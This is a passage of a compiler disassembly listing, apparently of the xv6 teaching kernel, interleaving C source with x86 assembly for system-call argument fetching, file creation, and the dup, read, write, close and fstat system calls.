word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104af0: 55 push %ebp 80104af1: 89 e5 mov %esp,%ebp 80104af3: 56 push %esi 80104af4: 53 push %ebx 80104af5: 83 ec 10 sub $0x10,%esp 80104af8: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 80104afb: e8 b0 ec ff ff call 801037b0 <myproc> 80104b00: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 80104b02: 8d 45 f4 lea -0xc(%ebp),%eax 80104b05: 83 ec 08 sub $0x8,%esp 80104b08: 50 push %eax 80104b09: ff 75 08 pushl 0x8(%ebp) 80104b0c: e8 8f ff ff ff call 80104aa0 <argint> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 80104b11: c1 e8 1f shr $0x1f,%eax 80104b14: 83 c4 10 add $0x10,%esp 80104b17: 84 c0 test %al,%al 80104b19: 75 2d jne 80104b48 <argptr+0x58> 80104b1b: 89 d8 mov %ebx,%eax 80104b1d: c1 e8 1f shr $0x1f,%eax 80104b20: 84 c0 test %al,%al 80104b22: 75 24 jne 80104b48 <argptr+0x58> 80104b24: 8b 16 mov (%esi),%edx 80104b26: 8b 45 f4 mov -0xc(%ebp),%eax 80104b29: 39 c2 cmp %eax,%edx 80104b2b: 76 1b jbe 80104b48 <argptr+0x58> 80104b2d: 01 c3 add %eax,%ebx 80104b2f: 39 da cmp %ebx,%edx 80104b31: 72 15 jb 80104b48 <argptr+0x58> return -1; *pp = (char*)i; 80104b33: 8b 55 0c mov 0xc(%ebp),%edx 80104b36: 89 02 mov %eax,(%edx) return 0; 80104b38: 31 c0 xor %eax,%eax } 80104b3a: 8d 65 f8 lea -0x8(%ebp),%esp 80104b3d: 5b pop %ebx 80104b3e: 5e pop %esi 80104b3f: 5d pop %ebp 80104b40: c3 ret 80104b41: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi struct proc *curproc = myproc(); if(argint(n, &i) < 0) return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) return -1; 80104b48: b8 ff ff ff ff mov $0xffffffff,%eax 80104b4d: eb eb jmp 80104b3a <argptr+0x4a> 80104b4f: 90 nop 80104b50 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104b50: 55 push %ebp 80104b51: 89 e5 mov %esp,%ebp 80104b53: 83 ec 20 sub $0x20,%esp int addr; if(argint(n, &addr) < 0) 80104b56: 8d 45 f4 lea -0xc(%ebp),%eax 80104b59: 50 push %eax 80104b5a: ff 75 08 pushl 0x8(%ebp) 80104b5d: e8 3e ff ff ff call 80104aa0 <argint> 80104b62: 83 c4 10 add $0x10,%esp 80104b65: 85 c0 test %eax,%eax 80104b67: 78 17 js 80104b80 <argstr+0x30> return -1; return fetchstr(addr, pp); 80104b69: 83 ec 08 sub $0x8,%esp 80104b6c: ff 75 0c pushl 0xc(%ebp) 80104b6f: ff 75 f4 pushl -0xc(%ebp) 80104b72: e8 c9 fe ff ff call 80104a40 <fetchstr> 80104b77: 83 c4 10 add $0x10,%esp } 80104b7a: c9 leave 80104b7b: c3 ret 80104b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int argstr(int n, char **pp) { int addr; if(argint(n, &addr) < 0) return -1; 80104b80: b8 ff ff ff ff mov $0xffffffff,%eax return fetchstr(addr, pp); } 80104b85: c9 leave 80104b86: c3 ret 80104b87: 89 f6 mov %esi,%esi 80104b89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104b90 <syscall>: [SYS_set_priority] sys_set_priority, }; void syscall(void) { 80104b90: 55 push %ebp 80104b91: 89 e5 mov %esp,%ebp 80104b93: 56 push %esi 80104b94: 53 push %ebx int num; struct proc *curproc = myproc(); 80104b95: e8 16 ec ff ff call 801037b0 <myproc> num = curproc->tf->eax; 80104b9a: 8b 70 18 mov 0x18(%eax),%esi void syscall(void) { int num; struct proc *curproc = myproc(); 80104b9d: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 80104b9f: 8b 46 1c mov 0x1c(%esi),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104ba2: 8d 50 ff lea -0x1(%eax),%edx 80104ba5: 83 fa 18 cmp $0x18,%edx 80104ba8: 77 1e ja 80104bc8 <syscall+0x38> 80104baa: 8b 14 85 00 7b 10 80 mov -0x7fef8500(,%eax,4),%edx 80104bb1: 85 d2 test %edx,%edx 80104bb3: 74 13 je 80104bc8 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104bb5: ff d2 call *%edx 80104bb7: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 80104bba: 8d 65 f8 lea -0x8(%ebp),%esp 80104bbd: 5b pop %ebx 80104bbe: 5e pop %esi 80104bbf: 5d pop %ebp 80104bc0: c3 ret 80104bc1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi num = curproc->tf->eax; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { curproc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 80104bc8: 50 push %eax curproc->pid, curproc->name, num); 80104bc9: 8d 43 6c lea 0x6c(%ebx),%eax num = curproc->tf->eax; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { curproc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 80104bcc: 50 push %eax 80104bcd: ff 73 10 pushl 0x10(%ebx) 80104bd0: 68 c5 7a 10 80 push $0x80107ac5 80104bd5: e8 86 ba ff ff call 80100660 <cprintf> curproc->pid, curproc->name, num); curproc->tf->eax = -1; 80104bda: 8b 43 18 mov 0x18(%ebx),%eax 80104bdd: 83 c4 10 add $0x10,%esp 80104be0: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } } 80104be7: 8d 65 f8 lea -0x8(%ebp),%esp 80104bea: 5b pop %ebx 80104beb: 5e pop %esi 80104bec: 5d pop %ebp 80104bed: c3 ret 80104bee: 66 90 xchg %ax,%ax 80104bf0 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104bf0: 55 push %ebp 80104bf1: 89 e5 mov %esp,%ebp 80104bf3: 57 push %edi 80104bf4: 56 push %esi 80104bf5: 53 push %ebx struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80104bf6: 8d 75 da lea -0x26(%ebp),%esi return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104bf9: 83 ec 34 sub $0x34,%esp 80104bfc: 89 4d d0 mov %ecx,-0x30(%ebp) 80104bff: 8b 4d 08 mov 0x8(%ebp),%ecx struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80104c02: 56 push %esi 80104c03: 50 push %eax return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104c04: 89 55 d4 mov %edx,-0x2c(%ebp) 80104c07: 89 4d cc mov %ecx,-0x34(%ebp) struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80104c0a: e8 c1 d2 ff ff call 80101ed0 <nameiparent> 80104c0f: 83 c4 10 add $0x10,%esp 80104c12: 85 c0 test %eax,%eax 80104c14: 0f 84 f6 00 00 00 je 80104d10 <create+0x120> return 0; ilock(dp); 80104c1a: 83 ec 0c sub $0xc,%esp 80104c1d: 89 c7 mov %eax,%edi 80104c1f: 50 push %eax 80104c20: e8 3b ca ff ff call 80101660 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 80104c25: 83 c4 0c add $0xc,%esp 80104c28: 6a 00 push $0x0 80104c2a: 56 push %esi 80104c2b: 57 push %edi 80104c2c: e8 5f cf ff ff call 80101b90 <dirlookup> 80104c31: 83 c4 10 add $0x10,%esp 80104c34: 85 c0 test %eax,%eax 80104c36: 89 c3 mov %eax,%ebx 80104c38: 74 56 je 80104c90 <create+0xa0> iunlockput(dp); 80104c3a: 83 ec 0c sub $0xc,%esp 80104c3d: 57 push %edi 80104c3e: e8 ad cc ff ff call 801018f0 <iunlockput> ilock(ip); 80104c43: 89 1c 24 mov %ebx,(%esp) 80104c46: e8 15 ca ff ff call 80101660 <ilock> if(type == T_FILE && ip->type == T_FILE) 80104c4b: 83 c4 10 add $0x10,%esp 80104c4e: 66 83 7d d4 02 cmpw $0x2,-0x2c(%ebp) 80104c53: 75 1b jne 80104c70 <create+0x80> 80104c55: 66 83 7b 50 02 cmpw $0x2,0x50(%ebx) 80104c5a: 89 d8 mov %ebx,%eax 80104c5c: 75 12 jne 80104c70 <create+0x80> panic("create: dirlink"); iunlockput(dp); return ip; } 80104c5e: 8d 65 f4 lea -0xc(%ebp),%esp 80104c61: 5b pop %ebx 80104c62: 5e pop %esi 80104c63: 5f pop %edi 80104c64: 5d pop %ebp 80104c65: c3 ret 80104c66: 8d 76 00 lea 0x0(%esi),%esi 80104c69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if((ip = dirlookup(dp, name, 0)) != 0){ iunlockput(dp); ilock(ip); if(type == T_FILE && ip->type == T_FILE) return ip; iunlockput(ip); 80104c70: 83 ec 0c sub $0xc,%esp 80104c73: 53 push %ebx 80104c74: e8 77 cc ff ff call 801018f0 <iunlockput> return 0; 80104c79: 83 c4 10 add $0x10,%esp panic("create: dirlink"); iunlockput(dp); return ip; } 80104c7c: 8d 65 f4 lea -0xc(%ebp),%esp iunlockput(dp); ilock(ip); if(type == T_FILE && ip->type == T_FILE) return ip; iunlockput(ip); return 0; 80104c7f: 31 c0 xor %eax,%eax panic("create: dirlink"); iunlockput(dp); return ip; } 80104c81: 5b pop %ebx 80104c82: 5e pop %esi 80104c83: 5f pop %edi 80104c84: 5d pop %ebp 80104c85: c3 ret 80104c86: 8d 76 00 lea 0x0(%esi),%esi 80104c89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi return ip; iunlockput(ip); return 0; } if((ip = ialloc(dp->dev, type)) == 0) 80104c90: 0f bf 45 d4 movswl -0x2c(%ebp),%eax 80104c94: 83 ec 08 sub $0x8,%esp 80104c97: 50 push %eax 80104c98: ff 37 pushl (%edi) 80104c9a: e8 51 c8 ff ff call 801014f0 <ialloc> 80104c9f: 83 c4 10 add $0x10,%esp 80104ca2: 85 c0 test %eax,%eax 80104ca4: 89 c3 mov %eax,%ebx 80104ca6: 0f 84 cc 00 00 00 je 80104d78 <create+0x188> panic("create: ialloc"); ilock(ip); 80104cac: 83 ec 0c sub $0xc,%esp 80104caf: 50 push %eax 80104cb0: e8 ab c9 ff ff call 80101660 <ilock> ip->major = major; 80104cb5: 0f b7 45 d0 movzwl -0x30(%ebp),%eax 80104cb9: 66 89 43 52 mov %ax,0x52(%ebx) ip->minor = minor; 80104cbd: 0f b7 45 cc movzwl -0x34(%ebp),%eax 80104cc1: 66 89 43 54 mov %ax,0x54(%ebx) ip->nlink = 1; 80104cc5: b8 01 00 00 00 mov $0x1,%eax 80104cca: 66 89 43 56 mov %ax,0x56(%ebx) iupdate(ip); 80104cce: 89 1c 24 mov %ebx,(%esp) 80104cd1: e8 da c8 ff ff call 801015b0 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104cd6: 83 c4 10 add $0x10,%esp 80104cd9: 66 83 7d d4 01 cmpw $0x1,-0x2c(%ebp) 80104cde: 74 40 je 80104d20 <create+0x130> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) panic("create dots"); } if(dirlink(dp, name, ip->inum) < 0) 80104ce0: 83 ec 04 sub $0x4,%esp 80104ce3: ff 73 04 pushl 0x4(%ebx) 80104ce6: 56 push %esi 80104ce7: 57 push %edi 80104ce8: e8 03 d1 ff ff call 80101df0 <dirlink> 80104ced: 83 c4 10 add $0x10,%esp 80104cf0: 85 c0 test %eax,%eax 80104cf2: 78 77 js 80104d6b <create+0x17b> panic("create: dirlink"); iunlockput(dp); 80104cf4: 83 ec 0c sub $0xc,%esp 80104cf7: 57 push %edi 80104cf8: e8 f3 cb ff ff call 801018f0 <iunlockput> return ip; 80104cfd: 83 c4 10 add $0x10,%esp } 80104d00: 8d 65 f4 lea -0xc(%ebp),%esp if(dirlink(dp, name, ip->inum) < 0) panic("create: dirlink"); iunlockput(dp); return ip; 80104d03: 89 d8 mov %ebx,%eax } 80104d05: 5b pop %ebx 80104d06: 5e pop %esi 80104d07: 5f pop %edi 80104d08: 5d pop %ebp 80104d09: c3 ret 80104d0a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi { struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) return 0; 80104d10: 31 c0 xor %eax,%eax 80104d12: e9 47 ff ff ff jmp 80104c5e <create+0x6e> 80104d17: 89 f6 mov %esi,%esi 80104d19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi ip->minor = minor; ip->nlink = 1; iupdate(ip); if(type == T_DIR){ // Create . and .. entries. dp->nlink++; // for ".." 80104d20: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 80104d25: 83 ec 0c sub $0xc,%esp 80104d28: 57 push %edi 80104d29: e8 82 c8 ff ff call 801015b0 <iupdate> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 80104d2e: 83 c4 0c add $0xc,%esp 80104d31: ff 73 04 pushl 0x4(%ebx) 80104d34: 68 84 7b 10 80 push $0x80107b84 80104d39: 53 push %ebx 80104d3a: e8 b1 d0 ff ff call 80101df0 <dirlink> 80104d3f: 83 c4 10 add $0x10,%esp 80104d42: 85 c0 test %eax,%eax 80104d44: 78 18 js 80104d5e <create+0x16e> 80104d46: 83 ec 04 sub $0x4,%esp 80104d49: ff 77 04 pushl 0x4(%edi) 80104d4c: 68 83 7b 10 80 push $0x80107b83 80104d51: 53 push %ebx 80104d52: e8 99 d0 ff ff call 80101df0 <dirlink> 80104d57: 83 c4 10 add $0x10,%esp 80104d5a: 85 c0 test %eax,%eax 80104d5c: 79 82 jns 80104ce0 <create+0xf0> panic("create dots"); 80104d5e: 83 ec 0c sub $0xc,%esp 80104d61: 68 77 7b 10 80 push $0x80107b77 80104d66: e8 05 b6 ff ff call 80100370 <panic> } if(dirlink(dp, name, ip->inum) < 0) panic("create: dirlink"); 80104d6b: 83 ec 0c sub $0xc,%esp 80104d6e: 68 86 7b 10 80 push $0x80107b86 80104d73: e8 f8 b5 ff ff call 80100370 <panic> iunlockput(ip); return 0; } if((ip = ialloc(dp->dev, type)) == 0) panic("create: ialloc"); 80104d78: 83 ec 0c sub $0xc,%esp 80104d7b: 68 68 7b 10 80 push $0x80107b68 80104d80: e8 eb b5 ff ff call 80100370 <panic> 80104d85: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104d89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104d90 <argfd.constprop.0>: #include "fcntl.h" // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) 80104d90: 55 push %ebp 80104d91: 89 e5 mov %esp,%ebp 80104d93: 56 push %esi 80104d94: 53 push %ebx 80104d95: 89 c6 mov %eax,%esi { int fd; struct file *f; if(argint(n, &fd) < 0) 80104d97: 8d 45 f4 lea -0xc(%ebp),%eax #include "fcntl.h" // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) 80104d9a: 89 d3 mov %edx,%ebx 80104d9c: 83 ec 18 sub $0x18,%esp { int fd; struct file *f; if(argint(n, &fd) < 0) 80104d9f: 50 push %eax 80104da0: 6a 00 push $0x0 80104da2: e8 f9 fc ff ff call 80104aa0 <argint> 80104da7: 83 c4 10 add $0x10,%esp 80104daa: 85 c0 test %eax,%eax 80104dac: 78 32 js 80104de0 <argfd.constprop.0+0x50> return -1; if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104dae: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104db2: 77 2c ja 80104de0 <argfd.constprop.0+0x50> 80104db4: e8 f7 e9 ff ff call 801037b0 <myproc> 80104db9: 8b 55 f4 mov -0xc(%ebp),%edx 80104dbc: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104dc0: 85 c0 test %eax,%eax 80104dc2: 74 1c je 80104de0 <argfd.constprop.0+0x50> return -1; if(pfd) 80104dc4: 85 f6 test %esi,%esi 80104dc6: 74 02 je 80104dca <argfd.constprop.0+0x3a> *pfd = fd; 80104dc8: 89 16 mov %edx,(%esi) if(pf) 80104dca: 85 db test %ebx,%ebx 80104dcc: 74 22 je 80104df0 <argfd.constprop.0+0x60> *pf = f; 80104dce: 89 03 mov %eax,(%ebx) return 0; 80104dd0: 31 c0 xor %eax,%eax } 80104dd2: 8d 65 f8 lea -0x8(%ebp),%esp 80104dd5: 5b pop %ebx 80104dd6: 5e pop %esi 80104dd7: 5d pop %ebp 80104dd8: c3 ret 80104dd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104de0: 8d 65 f8 lea -0x8(%ebp),%esp { int fd; struct file *f; if(argint(n, &fd) < 0) return -1; 80104de3: b8 ff ff ff ff mov $0xffffffff,%eax if(pfd) *pfd = fd; if(pf) *pf = f; return 0; } 80104de8: 5b pop %ebx 80104de9: 5e pop %esi 80104dea: 5d pop %ebp 80104deb: c3 ret 80104dec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; if(pfd) *pfd = fd; if(pf) *pf = f; return 0; 80104df0: 31 c0 xor %eax,%eax 80104df2: eb de jmp 80104dd2 <argfd.constprop.0+0x42> 80104df4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80104dfa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104e00 <sys_dup>: return -1; } int sys_dup(void) { 80104e00: 55 push %ebp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104e01: 31 c0 xor %eax,%eax return -1; } int sys_dup(void) { 80104e03: 89 e5 mov %esp,%ebp 80104e05: 56 push %esi 80104e06: 53 push %ebx struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104e07: 8d 55 f4 lea -0xc(%ebp),%edx return -1; } int sys_dup(void) { 80104e0a: 83 ec 10 sub $0x10,%esp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104e0d: e8 7e ff ff ff call 80104d90 <argfd.constprop.0> 80104e12: 85 c0 test %eax,%eax 80104e14: 78 1a js 80104e30 <sys_dup+0x30> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80104e16: 31 db xor %ebx,%ebx struct file *f; int fd; if(argfd(0, 0, &f) < 0) return -1; if((fd=fdalloc(f)) < 0) 80104e18: 8b 75 f4 mov -0xc(%ebp),%esi // Takes over file reference from caller on success. static int fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); 80104e1b: e8 90 e9 ff ff call 801037b0 <myproc> for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ 80104e20: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx 80104e24: 85 d2 test %edx,%edx 80104e26: 74 18 je 80104e40 <sys_dup+0x40> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80104e28: 83 c3 01 add $0x1,%ebx 80104e2b: 83 fb 10 cmp $0x10,%ebx 80104e2e: 75 f0 jne 80104e20 <sys_dup+0x20> return -1; if((fd=fdalloc(f)) < 0) return -1; filedup(f); return fd; } 80104e30: 8d 65 f8 lea -0x8(%ebp),%esp { struct file *f; int fd; if(argfd(0, 0, &f) < 0) return -1; 80104e33: b8 ff ff ff ff mov $0xffffffff,%eax if((fd=fdalloc(f)) < 0) return -1; filedup(f); return fd; } 80104e38: 5b pop %ebx 80104e39: 5e pop %esi 80104e3a: 5d pop %ebp 80104e3b: c3 ret 80104e3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80104e40: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4) if(argfd(0, 0, &f) < 0) return -1; if((fd=fdalloc(f)) < 0) return -1; filedup(f); 80104e44: 83 ec 0c sub $0xc,%esp 80104e47: ff 75 f4 pushl -0xc(%ebp) 80104e4a: e8 91 bf ff ff call 80100de0 <filedup> return fd; 80104e4f: 83 c4 10 add $0x10,%esp } 80104e52: 8d 65 f8 lea -0x8(%ebp),%esp if(argfd(0, 0, &f) < 0) return -1; if((fd=fdalloc(f)) < 0) return -1; filedup(f); return fd; 80104e55: 89 d8 mov %ebx,%eax } 80104e57: 5b pop %ebx 80104e58: 5e pop %esi 80104e59: 5d pop %ebp 80104e5a: c3 ret 80104e5b: 90 nop 80104e5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104e60 <sys_read>: int sys_read(void) { 80104e60: 55 push %ebp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104e61: 31 c0 xor %eax,%eax return fd; } int sys_read(void) { 80104e63: 89 e5 mov %esp,%ebp 80104e65: 83 ec 18 sub $0x18,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104e68: 8d 55 ec lea -0x14(%ebp),%edx 80104e6b: e8 20 ff ff ff call 80104d90 <argfd.constprop.0> 80104e70: 85 c0 test %eax,%eax 80104e72: 78 4c js 80104ec0 <sys_read+0x60> 80104e74: 8d 45 f0 lea -0x10(%ebp),%eax 80104e77: 83 ec 08 sub $0x8,%esp 80104e7a: 50 push %eax 80104e7b: 6a 02 push $0x2 80104e7d: e8 1e fc ff ff call 80104aa0 <argint> 80104e82: 83 c4 10 add $0x10,%esp 80104e85: 85 c0 test %eax,%eax 80104e87: 78 37 js 80104ec0 <sys_read+0x60> 80104e89: 8d 45 f4 lea -0xc(%ebp),%eax 80104e8c: 83 ec 04 sub $0x4,%esp 80104e8f: ff 75 f0 pushl -0x10(%ebp) 80104e92: 50 push %eax 80104e93: 6a 01 push $0x1 80104e95: e8 56 fc ff ff call 80104af0 <argptr> 80104e9a: 83 c4 10 add $0x10,%esp 80104e9d: 85 c0 test %eax,%eax 80104e9f: 78 1f js 80104ec0 <sys_read+0x60> return -1; return fileread(f, p, n); 80104ea1: 83 ec 04 sub $0x4,%esp 80104ea4: ff 75 f0 pushl -0x10(%ebp) 80104ea7: ff 75 f4 pushl -0xc(%ebp) 80104eaa: ff 75 ec pushl -0x14(%ebp) 80104ead: e8 9e c0 ff ff call 80100f50 <fileread> 80104eb2: 83 c4 10 add $0x10,%esp } 80104eb5: c9 leave 80104eb6: c3 ret 80104eb7: 89 f6 mov %esi,%esi 80104eb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) return -1; 80104ec0: b8 ff ff ff ff mov $0xffffffff,%eax return fileread(f, p, n); } 80104ec5: c9 leave 80104ec6: c3 ret 80104ec7: 89 f6 mov %esi,%esi 80104ec9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104ed0 <sys_write>: int sys_write(void) { 80104ed0: 55 push %ebp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104ed1: 31 c0 xor %eax,%eax return fileread(f, p, n); } int sys_write(void) { 80104ed3: 89 e5 mov %esp,%ebp 80104ed5: 83 ec 18 sub $0x18,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104ed8: 8d 55 ec lea -0x14(%ebp),%edx 80104edb: e8 b0 fe ff ff call 80104d90 <argfd.constprop.0> 80104ee0: 85 c0 test %eax,%eax 80104ee2: 78 4c js 80104f30 <sys_write+0x60> 80104ee4: 8d 45 f0 lea -0x10(%ebp),%eax 80104ee7: 83 ec 08 sub $0x8,%esp 80104eea: 50 push %eax 80104eeb: 6a 02 push $0x2 80104eed: e8 ae fb ff ff call 80104aa0 <argint> 80104ef2: 83 c4 10 add $0x10,%esp 80104ef5: 85 c0 test %eax,%eax 80104ef7: 78 37 js 80104f30 <sys_write+0x60> 80104ef9: 8d 45 f4 lea -0xc(%ebp),%eax 80104efc: 83 ec 04 sub $0x4,%esp 80104eff: ff 75 f0 pushl -0x10(%ebp) 80104f02: 50 push %eax 80104f03: 6a 01 push $0x1 80104f05: e8 e6 fb ff ff call 80104af0 <argptr> 80104f0a: 83 c4 10 add $0x10,%esp 80104f0d: 85 c0 test %eax,%eax 80104f0f: 78 1f js 80104f30 <sys_write+0x60> return -1; return filewrite(f, p, n); 80104f11: 83 ec 04 sub $0x4,%esp 80104f14: ff 75 f0 pushl -0x10(%ebp) 80104f17: ff 75 f4 pushl -0xc(%ebp) 80104f1a: ff 75 ec pushl -0x14(%ebp) 80104f1d: e8 be c0 ff ff call 80100fe0 <filewrite> 80104f22: 83 c4 10 add $0x10,%esp } 80104f25: c9 leave 80104f26: c3 ret 80104f27: 89 f6 mov %esi,%esi 80104f29: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) return -1; 80104f30: b8 ff ff ff ff mov $0xffffffff,%eax return filewrite(f, p, n); } 80104f35: c9 leave 80104f36: c3 ret 80104f37: 89 f6 mov %esi,%esi 80104f39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104f40 <sys_close>: int sys_close(void) { 80104f40: 55 push %ebp 80104f41: 89 e5 mov %esp,%ebp 80104f43: 83 ec 18 sub $0x18,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) 80104f46: 8d 55 f4 lea -0xc(%ebp),%edx 80104f49: 8d 45 f0 lea -0x10(%ebp),%eax 80104f4c: e8 3f fe ff ff call 80104d90 <argfd.constprop.0> 80104f51: 85 c0 test %eax,%eax 80104f53: 78 2b js 80104f80 <sys_close+0x40> return -1; myproc()->ofile[fd] = 0; 80104f55: e8 56 e8 ff ff call 801037b0 <myproc> 80104f5a: 8b 55 f0 mov -0x10(%ebp),%edx fileclose(f); 80104f5d: 83 ec 0c sub $0xc,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) return -1; myproc()->ofile[fd] = 0; 80104f60: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104f67: 00 fileclose(f); 80104f68: ff 75 f4 pushl -0xc(%ebp) 80104f6b: e8 c0 be ff ff call 80100e30 <fileclose> return 0; 80104f70: 83 c4 10 add $0x10,%esp 80104f73: 31 c0 xor %eax,%eax } 80104f75: c9 leave 80104f76: c3 ret 80104f77: 89 f6 mov %esi,%esi 80104f79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi { int fd; struct file *f; if(argfd(0, &fd, &f) < 0) return -1; 80104f80: b8 ff ff ff ff mov $0xffffffff,%eax myproc()->ofile[fd] = 0; fileclose(f); return 0; } 80104f85: c9 leave 80104f86: c3 ret 80104f87: 89 f6 mov %esi,%esi 80104f89: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104f90 <sys_fstat>: int sys_fstat(void) { 80104f90: 55 push %ebp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104f91: 31 c0 xor %eax,%eax return 0; } int sys_fstat(void) { 80104f93: 89 e5 mov %esp,%ebp 80104f95: 83 ec 18 sub $0x18,%esp struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) 80104f98: 8d 55 f0 lea -0x10(%ebp),%edx 80104f9b: e8 f0 fd ff ff call 80104d90 <argfd.constprop.0> 80104fa0: 85 c0 test %eax,%eax 80104fa2: 78 2c js 80104fd0 <sys_fstat+0x40> 80104fa4: 8d 45 f4 lea -0xc(%ebp),%eax 80104fa7: 83 ec 04 sub $0x4,%esp 80104faa: 6a 14 push $0x14 80104fac: 50 push %eax 80104fad: 6a 01 push $0x1 80104faf: e8 3c fb ff ff call 80104af0 <argptr> 80104fb4: 83 c4 10 add $0x10,%esp 80104fb7: 85 c0 test %eax,%eax 80104fb9: 78 15 js 80104fd0 <sys_fstat+0x40> return -1; return filestat(f, st); 80104fbb: 83 ec 08 sub $0x8,%esp 80104fbe: ff 75 f4 pushl -0xc(%ebp) 80104fc1: ff 75 f0 pushl -0x10(%ebp) 80104fc4: e8 37 bf ff ff call 80100f00 <filestat> 80104fc9: 83 c4 10 add $0x10,%esp } 80104fcc: c9 leave 80104fcd: c3 ret 80104fce: 66 90 xchg %ax,%ax { struct file *f; struct stat *st; if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0) return -1; 80104fd0: b8 ff ff ff ff mov $0xffffffff,%eax return filestat(f, st); } 80104fd5: c9 leave 80104fd6: c3 ret 80104fd7: 89 f6 mov %esi,%esi 80104fd9: 8d bc 27 00 00 00 00 lea 